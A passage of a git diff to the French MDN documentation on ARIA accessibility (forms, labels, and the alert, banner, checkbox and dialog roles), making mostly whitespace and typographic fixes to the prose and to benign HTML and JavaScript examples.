`aria-labelledby` de l’élément {{ HTMLElement("ul") }} est défini comme « rg1_label », et est identique à l’`id` de l’élément {{ HTMLElement("h3") }} de la ligne 1, qui sert de label au groupe de boutons radio. +L’exemple ci-dessous montre un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée. Remarquez, à la ligne 3, que l’attribut `aria-labelledby` de l’élément {{ HTMLElement("ul") }} est défini comme « rg1_label », et est identique à l’`id` de l’élément {{ HTMLElement("h3") }} de la ligne 1, qui sert de label au groupe de boutons radio. _Exemple 2. Un groupe de boutons radio implémenté à l’aide d’une liste non-ordonnée_ @@ -81,27 +81,27 @@ _Exemple 3. Un bouton décrit par un élément séparé._ ## Champs obligatoires et invalides -Les développeur Web utilisent souvant des éléments de présentation visuels pour indiquer les champs obligatoires ou invalides, mais les technologies d’assistance ne peuvent pas toujours déduire ces informations à partir de la présentation. ARIA fournit des attributs pour indiquer l’obligation de renseigner un contrôle de formulaire ou la validité de son contenu : +Les développeur Web utilisent souvant des éléments de présentation visuels pour indiquer les champs obligatoires ou invalides, mais les technologies d’assistance ne peuvent pas toujours déduire ces informations à partir de la présentation. ARIA fournit des attributs pour indiquer l’obligation de renseigner un contrôle de formulaire ou la validité de son contenu : - La propriété [`aria-required`](http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required) peut être appliquée à un élément de formulaire pour indiquer à une technologie d’assistance qu’il est obligatoire pour compléter le formulaire. - L’état [`aria-invalid`](http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid) peut être programmatiquement appliquée pour indiquer à une technologie d’assistance quel champ contient des données incorrectes, afin que l’utilisateur sache qu’il a saisi des données invalides. -L’exemple ci-dessous montre un formulaire simple avec 3 champs. Aux lignes 4 et 12, les attributs `aria-required` sont définis à `true` (en plus de l’astérisque en début de champ) indiquant que le nom et l’adresse électronique sont obligatoires. La seconde partie de l’exemple est un snippet JavaScript qui valide le format de l’adresse électronique et qui définit l’attribut `aria-invalid` du champ « Courriel » (ligne 12 du code HTML) selon le résultat (en plus de la modification de la présentation de l’élément). +L’exemple ci-dessous montre un formulaire simple avec 3 champs. Aux lignes 4 et 12, les attributs `aria-required` sont définis à `true` (en plus de l’astérisque en début de champ) indiquant que le nom et l’adresse électronique sont obligatoires. La seconde partie de l’exemple est un snippet JavaScript qui valide le format de l’adresse électronique et qui définit l’attribut `aria-invalid` du champ « Courriel » (ligne 12 du code HTML) selon le résultat (en plus de la modification de la présentation de l’élément). _Exemple 4a. Un formulaire avec des champs obligatoires._ ```html <form> <div> - <label for="nom">* Nom :</label> + <label for="nom">* Nom :</label> <input type="text" value="nom" id="nom" aria-required="true"/> </div> <div> - <label for="telephone">Téléphone :</label> + <label for="telephone">Téléphone :</label> <input type="text" value="telephone" id="telephone" aria-required="false"/> </div> <div> - <label for="courriel">* Courriel :</label> + <label for="courriel">* Courriel :</label> <input type="text" value="courriel" id="courriel" aria-required="true"/> </div> </form> diff --git a/files/fr/web/accessibility/aria/forms/index.md b/files/fr/web/accessibility/aria/forms/index.md index c6ae6daf13..79c012e9a3 100644 --- a/files/fr/web/accessibility/aria/forms/index.md +++ b/files/fr/web/accessibility/aria/forms/index.md @@ -9,10 +9,10 @@ tags: translation_of: Web/Accessibility/ARIA/forms original_slug: Accessibilité/ARIA/formulaires --- -Les pages suivantes fournissent diverses techniques pour améliorer l’accessibilité des formulaires web : +Les pages suivantes fournissent diverses techniques pour améliorer l’accessibilité des formulaires web : -- [Indications élémentaires pour les formulaires](/fr/Accessibilité/ARIA/formulaires/Indications_élémentaires_pour_les_formulaires) : ajouter des suggestions et des descriptions pour les champs invalides ou obligatoires -- [Alertes](/fr/Accessibilité/ARIA/formulaires/Alertes) : Utiliser les alertes pour fournir des messages d'erreur de validation côté client +- [Indications élémentaires pour les formulaires](/fr/Accessibilité/ARIA/formulaires/Indications_élémentaires_pour_les_formulaires) : ajouter des suggestions et des descriptions pour les champs invalides ou obligatoires +- [Alertes](/fr/Accessibilité/ARIA/formulaires/Alertes) : Utiliser les alertes pour fournir des messages d'erreur de validation côté client - [Labels multi-options](/fr/Accessibilité/ARIA/formulaires/Labels_multi-options): fournir des labels de formulaire complexes avec un contrôle pour chaque label Voir également l’[article Yahoo! à propos de la validation des formulaires et d’ARIA (en anglais)](https://web.archive.org/web/20120801225355/http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html) (version archivée par archive.org), couvrant pour une bonne part le même sujet. diff --git a/files/fr/web/accessibility/aria/forms/multipart_labels/index.md b/files/fr/web/accessibility/aria/forms/multipart_labels/index.md index 569ba26a3c..6bd4548e40 100644 --- a/files/fr/web/accessibility/aria/forms/multipart_labels/index.md +++ b/files/fr/web/accessibility/aria/forms/multipart_labels/index.md @@ -13,15 +13,15 @@ original_slug: Accessibilité/ARIA/formulaires/Labels_multi-options ### Problème -Un formulaire pose une question à un utilisateur, mais la zone de réponse est une partie de la phrase qui constitue la question. Un exemple classique que nous connaissons tous dans notre navigateur, c’est la paramètre des préférences « `Effacer l’historique après [x] jours`. » « `Effacer l’historique après` » est à la gauche de la boîte texte, « `x` » est le nombre, par exemple 21, et le mot « `jours` » suit la boîte texte, formant ainsi un phrase qu'il est facile de comprendre. +Un formulaire pose une question à un utilisateur, mais la zone de réponse est une partie de la phrase qui constitue la question. Un exemple classique que nous connaissons tous dans notre navigateur, c’est la paramètre des préférences « `Effacer l’historique après [x] jours`. » « `Effacer l’historique après` » est à la gauche de la boîte texte, « `x` » est le nombre, par exemple 21, et le mot « `jours` » suit la boîte texte, formant ainsi un phrase qu'il est facile de comprendre. -Si vous utilisez un lecteur d’écran, vous devez avoir remarqué que, lorsque vous allez à ce paramètre dans Firefox, il est actuellement écrit « `Effacer l’historique après 21 jours` ? », suivi par l’annonce que vous vous trouvez dans un boîte texte et qu’elle contient le nombre 21. C’est sympa, non ? Vous n’avez pas besoin de naviguer alentours pour trouver l’unité. « Jours » peut aisément être remplacé par « mois » ou « années », et dans de nombreuses boîtes de dialogues ordinaires, il n’y a aucun autre moyen de le savoir que de naviguer alentours avec les commandes d’examen de l’écran. +Si vous utilisez un lecteur d’écran, vous devez avoir remarqué que, lorsque vous allez à ce paramètre dans Firefox, il est actuellement écrit « `Effacer l’historique après 21 jours` ? », suivi par l’annonce que vous vous trouvez dans un boîte texte et qu’elle contient le nombre 21. C’est sympa, non ? Vous n’avez pas besoin de naviguer alentours pour trouver l’unité. « Jours » peut aisément être remplacé par « mois » ou « années », et dans de nombreuses boîtes de dialogues ordinaires, il n’y a aucun autre moyen de le savoir que de naviguer alentours avec les commandes d’examen de l’écran. La solution se trouve dans l'attribut ARIA `aria-labelledby`. Son paramètre est une chaîne qui est la liste des identifiants des éléments HTML que vous voulez concaténer en un seul nom accessible. `aria-labelledby` et `aria-describedby` sont tous deux spécifiés dans l’élément de formulaire à labelliser, par exemple, un élément {{ HTMLElement("input") }}. Dans les deux cas, les liaisons d’un contrôle `<label for>`/`<label>` pouvant exister, sont neutralisées par `aria-labelledby`. Si, dans une page HTML vous fournissez `aria-labelledby`, vous devriez également fournir un `<label for>` afin d’également prendre en charge les anciens navigateurs qui ne prennent pas encore en charge ARIA. Avec Firefox 3, vos utilisateurs malvoyants auront automatiquement une meilleure accessibilité avec le nouvel attribut, mais les utilisateurs de navigateurs plus anciens ne seront pas pour autant laissé dans le noir. -Exemple : +Exemple : ```html <input aria-labelledby="labelShutdown shutdownTime shutdownUnit" type="checkbox" /> @@ -34,6 +34,6 @@ Exemple : JAWS 8.0 possède sa propre logique pour trouver les labels, ce qui lui fait systématiquement supplanter le `nomAccessible` que peut avoir une boîte texte dans un document HTML. Avec JAWS 8, je n’ai trouvé aucun moyen de lui faire accepter le label de l’exemple ci-dessus. Mais NVDA et Window-Eyes le font très bien, et Orca sur Linux n’a aucun problème non plus. -### Peut-on faire la même chose sans ARIA ? +### Peut-on faire la même chose sans ARIA ? -Ben Millard fait remarquer dans un billet que [les contrôles peuvent être imbriqués dans des labels, comme démontré dans l'exemple ci-dessus avec HTML 4](http://projectcerbera.com/blog/2008/03#day24), simplement en imbriquant l'élément `input` dans le `label`. Merci pour cette info, Ben ! Elle est vraiment utile et montre que certaines techniques existantes depuis des années nous échappe, même aux gourous que nous sommes. Cette technique fonctionne dans Firefox ; cependant, elle ne fonctionne actuellement pas dans de nombreux autres navigateurs, y compris IE. Donc, pour les labels comprenant des contrôles de formulaires, l'utilisation de `aria-labelledby` est encore la meilleure approche. +Ben Millard fait remarquer dans un billet que [les contrôles peuvent être imbriqués dans des labels, comme démontré dans l'exemple ci-dessus avec HTML 4](http://projectcerbera.com/blog/2008/03#day24), simplement en imbriquant l'élément `input` dans le `label`. Merci pour cette info, Ben ! Elle est vraiment utile et montre que certaines techniques existantes depuis des années nous échappe, même aux gourous que nous sommes. Cette technique fonctionne dans Firefox ; cependant, elle ne fonctionne actuellement pas dans de nombreux autres navigateurs, y compris IE. Donc, pour les labels comprenant des contrôles de formulaires, l'utilisation de `aria-labelledby` est encore la meilleure approche. diff --git a/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.md b/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.md index 712a870da3..bf833414c4 100644 --- a/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.md +++ b/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.md @@ -46,7 +46,7 @@ A faire : ajouter la bon lien d'accessibilité à la table >commentaires, questions et retours Window-Eyes </a >(email) </td> - <td> </td> + <td></td> </tr> <tr> <td> @@ -69,7 +69,7 @@ A faire : ajouter la bon lien d'accessibilité à la table <tr> <td><a href="/User:orca.clock">Orca</a></td> <td><a href="/fr/DOM/File">Déposer un bug Orca</a></td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1" rowspan="5">Navigateurs</td> @@ -79,7 +79,7 @@ A faire : ajouter la bon lien d'accessibilité à la table >Déposer un bug WebKit.org</a > </td> - <td> </td> + <td></td> </tr> <tr> <td>Google Chrome</td> @@ -88,7 +88,7 @@ A faire : ajouter la bon lien d'accessibilité à la table >Déposer un bug Chromium</a > </td> - <td> </td> + <td></td> </tr> <tr> <td><p>Microsoft Internet Explorer</p></td> @@ -134,7 +134,7 @@ A faire : ajouter la bon lien d'accessibilité à la table <tr> <td>Google Web Toolkit (GWT)</td> <td><a href="/fr/DOM/File">Déposer un bug GWT</a></td> - <td> </td> + <td></td> </tr> <tr> <td>Yahoo User Interface</td> diff --git a/files/fr/web/accessibility/aria/index.md b/files/fr/web/accessibility/aria/index.md index 3ca0044907..3df43be28e 100644 --- a/files/fr/web/accessibility/aria/index.md +++ b/files/fr/web/accessibility/aria/index.md @@ -44,7 +44,7 @@ En plus des déclarations _statiques_ dans le contenu HTML, les attributs ARIA p } ``` -> **Note :** ARIA a été inventé après HTML4 et ne valide pas HTML4 ou les variantes XHTML. Toutefois, les gains d'accessibilité l'emportent sur cette invalidité. +> **Note :** ARIA a été inventé après HTML4 et ne valide pas HTML4 ou les variantes XHTML. Toutefois, les gains d'accessibilité l'emportent sur cette invalidité. > > En HTML5, tous les attributs ARIA sont valides. Les nouveaux éléments de navigation (`<main>`, `<header>`, `<nav>` etc.) possèdent des rôles ARIA natifs et il n'est pas nécessaire de les dupliquer. @@ -79,7 +79,7 @@ Il est aussi important de tester l'ARIA écrit avec des technologies d'assistanc - [Régions dynamiques](/fr/docs/Accessibilité/ARIA/Zones_live_ARIA) (_live regions_) - : Les régions dynamiques fournissent des suggestion aux lecteurs d'écran sur la façon dont gérer la modification du contenu d'une page. - [Utiliser les régions dynamiques ARIA afin d'indiquer une modification de contenu](https://www.freedomscientific.com/SurfsUp/AriaLiveRegions.htm) - - : Un rapide résumé des régions interactives par les concepteurs du lecteur d'écran JAWS. Les régions dynamiques sont également prises en charge par NVDA pour Firefox et par VoiceOver avec Safari. + - : Un rapide résumé des régions interactives par les concepteurs du lecteur d'écran JAWS. Les régions dynamiques sont également prises en charge par NVDA pour Firefox et par VoiceOver avec Safari. ## Processus de standardisation diff --git a/files/fr/web/accessibility/aria/roles/alert_role/index.md b/files/fr/web/accessibility/aria/roles/alert_role/index.md index 1db355caec..5414e5fa84 100644 --- a/files/fr/web/accessibility/aria/roles/alert_role/index.md +++ b/files/fr/web/accessibility/aria/roles/alert_role/index.md @@ -15,29 +15,29 @@ Cette technique présente l’utilisation du rôle [`alert` (en)](http://www.w3. Le rôle `alert` est utilisé pour communiquer un message important et généralement avec une notion d'urgence à l’utilisateur. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement d'alerte accessible aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur. Le rôle `alert` est le plus utile lorsqu’il s’agit d’attirer l’attention de l’utilisateur, par exemple si : -- Une valeur non valide a été saisie dans un champ de formulaire ; -- La session d’un utilisateur est sur le point d’expirer ; +- Une valeur non valide a été saisie dans un champ de formulaire ; +- La session d’un utilisateur est sur le point d’expirer ; - La connexion au serveur a été interrompue, les modifications locales ne seront pas sauvegardées. De fait de sa nature intrusive, le rôle `alert` doit être utilisé avec parcimonie et uniquement dans les situations où l’attention de l’utilisateur est immédiatement requise. Les changements dynamiques de moindre urgence devraient utiliser une méthode moins agressive, telle que `aria-live="polite"` ou autres rôles de zone live. ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `alert` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `alert` est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément ayant un rôle d’alerte à l’API d’accessibilité du système d’exploitation ; +- Présenter l’élément ayant un rôle d’alerte à l’API d’accessibilité du système d’exploitation ; - Déclencher un événement d'alerte accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge. -Les technologies d’assistance devraient être à l’écoute de tels évènements et les notifier à l’utilisateur en conséquence : +Les technologies d’assistance devraient être à l’écoute de tels évènements et les notifier à l’utilisateur en conséquence : -- Les lecteurs d’écran peuvent interrompre la sortie en cours (qu’elle soit vocale ou en braille) et immédiatement annoncer ou afficher le message d’alerte ; +- Les lecteurs d’écran peuvent interrompre la sortie en cours (qu’elle soit vocale ou en braille) et immédiatement annoncer ou afficher le message d’alerte ; - Les loupes ou agrandisseurs d’écran peuvent indiquer qu’une alerte est survenue et quel en est le texte. > **Note :** plusieurs points de vue existent sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative. ### Exemples -#### Exemple 1 : Ajout du rôle dans le code HTML +#### Exemple 1 : Ajout du rôle dans le code HTML L’extrait de code ci-dessous montre comment le rôle `alert` est directement ajouté dans le code source HTML. Au moment où l’élément finit de se charger, le lecteur d’écran doit être notifié de l’alerte. Si l’élément était dans le code source original lorsque la page s’est chargée, le lecteur d’écran annonce immédiatement l’erreur après la lecture du titre de la page. @@ -45,7 +45,7 @@ L’extrait de code ci-dessous montre comment le rôle `alert` est directement a <h2 role="alert">Votre formulaire ne peut être soumis à cause de 3 erreurs de validation.</h2> ``` -#### Exemple 2 : Ajout dynamique d'un élément avec le rôle `alert` +#### Exemple 2 : Ajout dynamique d'un élément avec le rôle `alert` Cet extrait de code crée dynamiquement un élément avec un rôle `alert` et l’ajoute à la structure du document. @@ -58,15 +58,15 @@ myAlert.appendChild(myAlertText); document.body.appendChild(myAlertText); ``` -**Note :** le même résultat peut être obtenu avec moins de code en utilisant une bibliothèque de scripts telle que *jQuery* : +**Note :** le même résultat peut être obtenu avec moins de code en utilisant une bibliothèque de scripts telle que *jQuery* : ```js $("<p role='alert'>Vous devez accepter nos conditions d’utilisation pour créer un compte.</p>").appendTo(document.body); ``` -#### Exemple 3 : Ajout d'un rôle `alert` à un élément existant +#### Exemple 3 : Ajout d'un rôle `alert` à un élément existant -Parfois, il peut être utile d’ajouter un rôle `alert` à un élément déjà visible dans la page plutôt que de créer un nouvel élément. Ceci permet au développeur de répéter une information devenue plus pertinente ou urgente pour l’utilisateur. Par exemple, un contrôle de formulaire peut avoir des instructions sur les valeurs attendues. Si une valeur différente est saisie, `role="alert"` peut être ajouté au texte de l’instruction pour que le lecteur d’écran l’annonce comme une alerte. L'extrait de pseudo-code ci-dessous illustre cette approche : +Parfois, il peut être utile d’ajouter un rôle `alert` à un élément déjà visible dans la page plutôt que de créer un nouvel élément. Ceci permet au développeur de répéter une information devenue plus pertinente ou urgente pour l’utilisateur. Par exemple, un contrôle de formulaire peut avoir des instructions sur les valeurs attendues. Si une valeur différente est saisie, `role="alert"` peut être ajouté au texte de l’instruction pour que le lecteur d’écran l’annonce comme une alerte. L'extrait de pseudo-code ci-dessous illustre cette approche : ```html <p id="formInstruction">Vous devez cocher au moins trois options</p> @@ -77,16 +77,16 @@ Parfois, il peut être utile d’ajouter un rôle `alert` à un élément déjà document.getElementById("formInstruction").setAttribute("role", "alert"); ``` -#### Exemple 4 : Rendre visible un élément avec le rôle `alert` +#### Exemple 4 : Rendre visible un élément avec le rôle `alert` -Si un élément possède déjà `role="alert"` et qu’il est initialement caché par des règles CSS, le rendre visible déclenchera l’alerte comme si elle venait juste d’être ajoutée à la page. Cela signifie qu’une alerte existante peut être « réutilisée » plusieurs fois. +Si un élément possède déjà `role="alert"` et qu’il est initialement caché par des règles CSS, le rendre visible déclenchera l’alerte comme si elle venait juste d’être ajoutée à la page. Cela signifie qu’une alerte existante peut être « réutilisée » plusieurs fois. -**Note :** dans la plupart des cas cette approche n’est pas recommandée, parce qu'il n'est pas idéal de masquer une erreur ou un texte d’alerte qui n’est pas applicable à ce moment précis. Les utilisateurs de technologies d’assistance plus anciennes pourraient toujours percevoir le texte d’alerte même si l’alerte ne s’applique pas à ce moment, faisant croire de façon erronée aux utilisateurs à l’existence d’un problème. +**Note :** dans la plupart des cas cette approche n’est pas recommandée, parce qu'il n'est pas idéal de masquer une erreur ou un texte d’alerte qui n’est pas applicable à ce moment précis. Les utilisateurs de technologies d’assistance plus anciennes pourraient toujours percevoir le texte d’alerte même si l’alerte ne s’applique pas à ce moment, faisant croire de façon erronée aux utilisateurs à l’existence d’un problème. ```css .hidden { - display:none; - } + display:none; + } ``` ```html @@ -100,8 +100,8 @@ document.getElementById("expirationWarning").className = ""; ### Notes -- L’utilisation du rôle `alert` sur un élément implique que cet élément a l’attribut `aria-live="assertive"` ; -- Le rôle `alert` ne devrait être utilisé que pour du contenu texte statique. L’élément sur lequel on utilise le rôle `alert` ne devrait pas pouvoir recevoir le focus, car les lecteurs d’écran annonceront automatiquement l’alerte où que se trouve le focus clavier ; +- L’utilisation du rôle `alert` sur un élément implique que cet élément a l’attribut `aria-live="assertive"` ; +- Le rôle `alert` ne devrait être utilisé que pour du contenu texte statique. L’élément sur lequel on utilise le rôle `alert` ne devrait pas pouvoir recevoir le focus, car les lecteurs d’écran annonceront automatiquement l’alerte où que se trouve le focus clavier ; - Si une alerte fournit également des contrôles interactifs – tels que des contrôles de formulaire qui permettraient à l’utilisateur de rectifier une erreur, ou un bouton `OK` pour annuler l’alerte – le rôle [`alertdialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_alertdialog) est préférable. ### Attributs ARIA utilisés @@ -110,9 +110,9 @@ document.getElementById("expirationWarning").className = ""; ### Techniques ARIA connexes -- [Utiliser le rôle `alertdialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_alertdialog) ; +- [Utiliser le rôle `alertdialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_alertdialog) ; - [Utiliser la propriété `aria-invalid`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_la_propriété_aria-invalid). ### Autres ressources -- Guide des bonnes pratiques ARIA - Rôle `Alert` : [http://www.w3.org/TR/wai-aria-practices/#alert (en)](http://www.w3.org/TR/wai-aria-practices/#alert) +- Guide des bonnes pratiques ARIA - Rôle `Alert` : [http://www.w3.org/TR/wai-aria-practices/#alert (en)](http://www.w3.org/TR/wai-aria-practices/#alert) diff --git a/files/fr/web/accessibility/aria/roles/banner_role/index.md b/files/fr/web/accessibility/aria/roles/banner_role/index.md index 5b5d1c59ee..e0d12909b2 100644 --- a/files/fr/web/accessibility/aria/roles/banner_role/index.md +++ b/files/fr/web/accessibility/aria/roles/banner_role/index.md @@ -13,7 +13,7 @@ original_slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_banner Cette technique présente l’utilisation du rôle [`banner` (en)](https://www.w3.org/TR/wai-aria/roles#banner). -La zone d’entête principale d'un site devrait être structurée avec `<header role="banner">`. Cette zone peut contenir le logo du site, sa description, le moteur de recherche. +La zone d’entête principale d'un site devrait être structurée avec `<header role="banner">`. Cette zone peut contenir le logo du site, sa description, le moteur de recherche. Une page web ne doit pas contenir plus d'un rôle `banner`, mais il est tout à fait possible d'utiliser plusieurs éléments `<header>` dans une page. @@ -25,15 +25,15 @@ Une page web ne doit pas contenir plus d'un rôle `banner`, mais il est tout à ### Exemples -#### Une zone d'entête typique de site +#### Une zone d'entête typique de site ```html <header role="banner"> - <p><img src="logo.png" alt="Nom du site"></p> - <p>Description du site</p> - <div role="search"> - ... - </div> + <p><img src="logo.png" alt="Nom du site"></p> + <p>Description du site</p> + <div role="search"> + ... + </div> </header> ``` diff --git a/files/fr/web/accessibility/aria/roles/checkbox_role/index.md b/files/fr/web/accessibility/aria/roles/checkbox_role/index.md index 0ce97c7f82..128a882ddb 100644 --- a/files/fr/web/accessibility/aria/roles/checkbox_role/index.md +++ b/files/fr/web/accessibility/aria/roles/checkbox_role/index.md @@ -12,11 +12,11 @@ original_slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_checkbox Cette technique présente l’utilisation du rôle [checkbox](http://www.w3.org/TR/wai-aria/roles#checkbox). -Le rôle `checkbox` est utilisé pour des contrôles interactifs à cocher. Si un élément utilise `role="checkbox",` il est obligatoire pour cet élément d’avoir également un attribut `aria-checked` qui présente l’état de la case à cocher aux technologies d’assistance. Alors que le contrôle de formulaire HTML natif `checkbox` ne peut avoir que deux états (« coché » ou « décoché »), un élément avec le rôle `role=checkbox` peut présenter trois états pour l'attribut `aria-checked` : +Le rôle `checkbox` est utilisé pour des contrôles interactifs à cocher. Si un élément utilise `role="checkbox",` il est obligatoire pour cet élément d’avoir également un attribut `aria-checked` qui présente l’état de la case à cocher aux technologies d’assistance. Alors que le contrôle de formulaire HTML natif `checkbox` ne peut avoir que deux états (« coché » ou « décoché »), un élément avec le rôle `role=checkbox` peut présenter trois états pour l'attribut `aria-checked` : -- `aria-checked="true"` : la case est cochée ; -- `aria-checked="false"` : la case est décochée ; -- `aria-checked="mixed"` : la case est partiellement cochée. +- `aria-checked="true"` : la case est cochée ; +- `aria-checked="false"` : la case est décochée ; +- `aria-checked="mixed"` : la case est partiellement cochée. Le développeur doit modifier dynamiquement la valeur de l’attribut `aria-checked` lorsque la case est cochée. @@ -24,12 +24,12 @@ Comme une case à cocher est un contrôle interactif, elle doit pouvoir recevoir ### Effets possibles sur les agents utilisateurs et les technologies d’assistance -Lorsque le rôle `checkbox` est ajouté à un élément, l’agent utilisateur devrait suivre les étapes suivantes : +Lorsque le rôle `checkbox` est ajouté à un élément, l’agent utilisateur devrait suivre les étapes suivantes : -- Présenter l’élément comme ayant un rôle de case à cocher à l’API d’accessibilité du système d’exploitation ; +- Présenter l’élément comme ayant un rôle de case à cocher à l’API d’accessibilité du système d’exploitation ; - Lorsque la valeur de l’attribut `aria-checked` change, envoyer un événement accessible de changement d’état. -Les technologies d’assistance doivent faire la chose suivante : +Les technologies d’assistance doivent faire la chose suivante : - Les lecteurs d’écran devraient annoncer l’élément comme une case à cocher, et, éventuellement, fournir des instructions sur les façons de l’activer. @@ -37,14 +37,14 @@ Les technologies d’assistance doivent faire la chose suivante : ### Exemples -#### Exemple 1 : Ajout du rôle ARIA `checkbox` +#### Exemple 1 : Ajout du rôle ARIA `checkbox` ```html <span role="checkbox" aria-checked="false" tabindex="0" id="chk1"></span> <label for="chk1">Enregistrer mes préférences</label> ``` -#### Exemples concrets : +#### Exemples concrets : - <http://test.cita.uiuc.edu/aria/checkbox/checkbox1.php> diff --git a/files/fr/web/accessibility/aria/roles/dialog_role/index.md b/files/fr/web/accessibility/aria/roles/dialog_role/index.md index 14ed9da8d9..166585fe59 100644 --- a/files/fr/web/accessibility/aria/roles/dialog_role/index.md +++ b/files/fr/web/accessibility/aria/roles/dialog_role/index.md @@ -15,9 +15,9 @@ Cette technique présente l’utilisation du rôle [`dialog (en)`](http://www.w3 Le rôle `dialog` est utilisé pour marquer une fenêtre ou une boîte de dialogue d’application web qui sépare le contenu ou l’UI du reste de l’application web ou de la page. Visuellement, les boîtes de dialogues sont généralement placées par dessus le contenu de la page, à l’aide d’un calque (ou « Overlay »). Les boîtes de dialogue peuvent être non-modales (ce qui signifie qu’il est toujours possible d’interagir avec le contenu situé hors de la boîte de dialogue) ou modales (ce qui signifie qu’on ne peut interagir qu’avec le contenu de la boîte de dialogue). -Marquer un élément de dialogue avec le rôle `dialog` aide les technologies d’assistance à identifier le contenu des boîtes de dialogue comme étant regroupé et séparé du reste du contenu de la page. Cependant, le seul ajout de `role="dialog"` n’est pas suffisant pour rendre une boîte de dialogue accessible. De plus, il faut veiller à ce qui suit : +Marquer un élément de dialogue avec le rôle `dialog` aide les technologies d’assistance à identifier le contenu des boîtes de dialogue comme étant regroupé et séparé du reste du contenu de la page. Cependant, le seul ajout de `role="dialog"` n’est pas suffisant pour rendre une boîte de dialogue accessible. De plus, il faut veiller à ce qui suit : -- La boîte de dialogue doit être correctement labélisée ; +- La boîte de dialogue doit être correctement labélisée ; - Le focus clavier doit être géré correctement. Les sections ci-dessous décrivent comment ces deux exigences peuvent être satisfaites. @@ -26,7 +26,7 @@ Les sections ci-dessous décrivent comment ces deux exigences peuvent être sati Bien qu’il ne soit pas obligatoire que la boîte de dialogue elle-même reçoive le focus, elle doit quand même besoin d’être labélisée. Le label donné à la boîte de dialogue fournira des informations contextuelles pour les contrôles interactifs qu’elle contient. En d’autres termes, le label de la boîte de dialogue agit comme label de regroupement pour les contrôles qu’elle contient. On peut comparer cela à la façon dont un élément `<legend>` fournit un label de regroupement pour les contrôles contenus dans un élément `<fieldset>`. -Si une boîte de dialogue a une barre de titre visible, le texte de cette barre peut être utilisé comme label pour la boîte elle-même. La meilleure façon de le faire est d’utiliser l’attribut `aria-labelledby` pour l’élément `role="dialog"`. De plus, si la boîte de dialogue contient une description supplémentaire, en plus du titre de la boîte, le texte de la description peut être associé avec la boîte de dialogue à l’aide de l’attribut `aria-describedby`. Cette approche est illustrée dans l’extrait de code ci-dessous : +Si une boîte de dialogue a une barre de titre visible, le texte de cette barre peut être utilisé comme label pour la boîte elle-même. La meilleure façon de le faire est d’utiliser l’attribut `aria-labelledby` pour l’élément `role="dialog"`. De plus, si la boîte de dialogue contient une description supplémentaire, en plus du titre de la boîte, le texte de la description peut être associé avec la boîte de dialogue à l’aide de l’attribut `aria-describedby`. Cette approche est illustrée dans l’extrait de code ci-dessous : ```html <div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"> @@ -44,15 +44,15 @@ Si une boîte de dialogue a une barre de titre visible, le texte de cette barre Une boîte de dialogue a des exigences particulières concernant la façon dont le focus clavier doit être géré : -- Les boîtes de dialogue doivent avoir au moins un contrôle focalisable. Pour de nombreuses boîtes de dialogues, ce contrôle sera un bouton « Fermer », « OK » ou « Annuler. » En plus de cela, les boîtes de dialogue peuvent contenir n’importe quelle quantité d’éléments focalisables, même des formulaires ou d'autres composants conteneurs comme des onglets. -- Quand la boîte de dialogue s’affiche à l’écran, le focus clavier devrait être placé sur le contrôle focalisable par défaut de la boîte de dialogue. Ce contrôle dépend de la fonction des boîtes de dialogue. Pour les boîtes de dialogue ne fournissant qu’un texte simple, ce pourra être un bouton « OK ». Pour les boîtes de dialogue contenant un formulaire, ce pourra être le premier champ à renseigner du formulaire. +- Les boîtes de dialogue doivent avoir au moins un contrôle focalisable. Pour de nombreuses boîtes de dialogues, ce contrôle sera un bouton « Fermer », « OK » ou « Annuler. » En plus de cela, les boîtes de dialogue peuvent contenir n’importe quelle quantité d’éléments focalisables, même des formulaires ou d'autres composants conteneurs comme des onglets. +- Quand la boîte de dialogue s’affiche à l’écran, le focus clavier devrait être placé sur le contrôle focalisable par défaut de la boîte de dialogue. Ce contrôle dépend de la fonction des boîtes de dialogue. Pour les boîtes de dialogue ne fournissant qu’un texte simple, ce pourra être un bouton « OK ». Pour les boîtes de dialogue contenant un formulaire, ce pourra être le premier champ à renseigner du formulaire. - Pour la plupart des boîtes de dialogue, le comportement attendu est que l’ordre de tabulation de la boîte _tourne_, c’est-à-dire que le premier élément focalisable sera focalisé après que le dernier élément focalisable de la boîte de dialogue aura été atteint lorsque l’utilisateur tabule. En d’autres termes, l’ordre de tabulation doit être contenu par la boîte de dialogue. - Si la boîte de dialogue peut être déplacée ou redimensionnée, assurez-vous que ces actions peuvent être exécutées par les utilisateurs de clavier tout comme les utilisateurs de souris. De la même façon, si une boîte de dialogue fournit certaines fonctionnalités, comme des barres d’outils ou des menus contextuels, celles-ci doivent également être accessibles et pouvoir être actionnées par les utilisateurs de clavier. - Les boîtes de dialogue peuvent être modales ou non modales. Lorsqu’une boîte de dialogue _modale_ s’affiche à l’écran, il n’est pas possible d’interagir avec le reste du contenu de la page. En d’autres termes, l’UI principale de l’application ou le contenu de la page est considéré comme temporairement désactivé tant que la boîte de dialogue modale est affichée. Pour les boîtes de dialogue _non modales_ il est toujours possible d’interagir avec du contenu extérieur à la boîte lorsqu’elle est affichée. Pour les boîtes de dialogue non modales, il y devra toujours y 